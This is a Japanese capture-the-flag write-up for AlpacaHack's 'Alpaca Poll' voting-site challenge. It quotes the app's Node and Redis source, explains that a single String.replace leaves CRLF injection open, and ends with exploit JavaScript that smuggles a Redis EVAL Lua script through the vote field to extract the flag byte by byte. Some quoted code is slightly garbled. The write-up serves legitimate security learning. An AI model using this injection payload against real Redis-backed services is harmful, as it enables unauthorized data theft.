CTF Writeup: Alpaca Poll - AlpacaHack
投票サイトが公開されている。
データベース内に置いてあるフラグをどうにか手に入れたい。
ソースを読む
compose.yaml
code:yaml
environment:
- FLAG=Alpaca{REDACTED}
フラグは環境変数として与えられている。
db.js
code:js
export async function init(flag) {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
message += SET ${animal} ${votes}\r\n;
}
message += SET flag ${flag}\r\n; // please exfiltrate this
await send(socket, message);
socket.destroy();
}
フラグはデータベースのflagキーに保存されている。
それにしてもアルパカに最初から10000票入っているのは有利すぎる、不正投票ではないか。
code:js
export async function vote(animal) {
const socket = await connect();
const message = INCR ${animal}\r\n;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)1, 10); // the format of response is like :23, so this extracts only the number }
animalで指定されたレコードをインクリメントしている。
特にサニタイズはない。
code:js
export async function getVotes() {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
message += GET ${animal}\r\n;
}
const reply = await send(socket, message);
socket.destroy();
let result = {};
result[ANIMALSindex] = parseInt(match1, 10); }
return result;
}
数字しか表示しないようだ。
index.js
code:js
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
});
} catch {
return res.json({ error: 'something wrong' });
}
});
// no injection, pleaseが妙に哀愁を誘う。replaceのパターンに文字列を渡すと、最初に見つけたものしか置換されない。
→\r\n\r\nコマンドのようにすると、任意のコマンドを実行させることができてしまう。
方針
これを使いflagに入っている値を整数にエンコードして適当な動物のところに入れてしまえばよい。
コード
code:js
// Lua スクリプトを実行する。 KEYS1 で alpaca 、 KEYS2 で flag を参照できる。 async function postEval(luaScript) {
await fetch('/vote', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: animal=alpaca\r\n\r\nEVAL "${luaScript.replaceAll('"', '\\"')}" 2 alpaca flag
});
}
async function getAlpaca() {
return (await (await fetch('/votes')).json()).alpaca;
}
await postEval(return redis.call('SET', KEYS[1], #redis.call('GET', KEYS[2])));
const length = await getAlpaca();
let flag = "";
for (let i = 0; i < length; i++) {
await postEval(return redis.call('SET', KEYS[1], redis.call('GET', KEYS[2]):byte(${i + 1})));
flag += String.fromCharCode(await getAlpaca());
}
console.log(flag);
//=> Alpaca{...}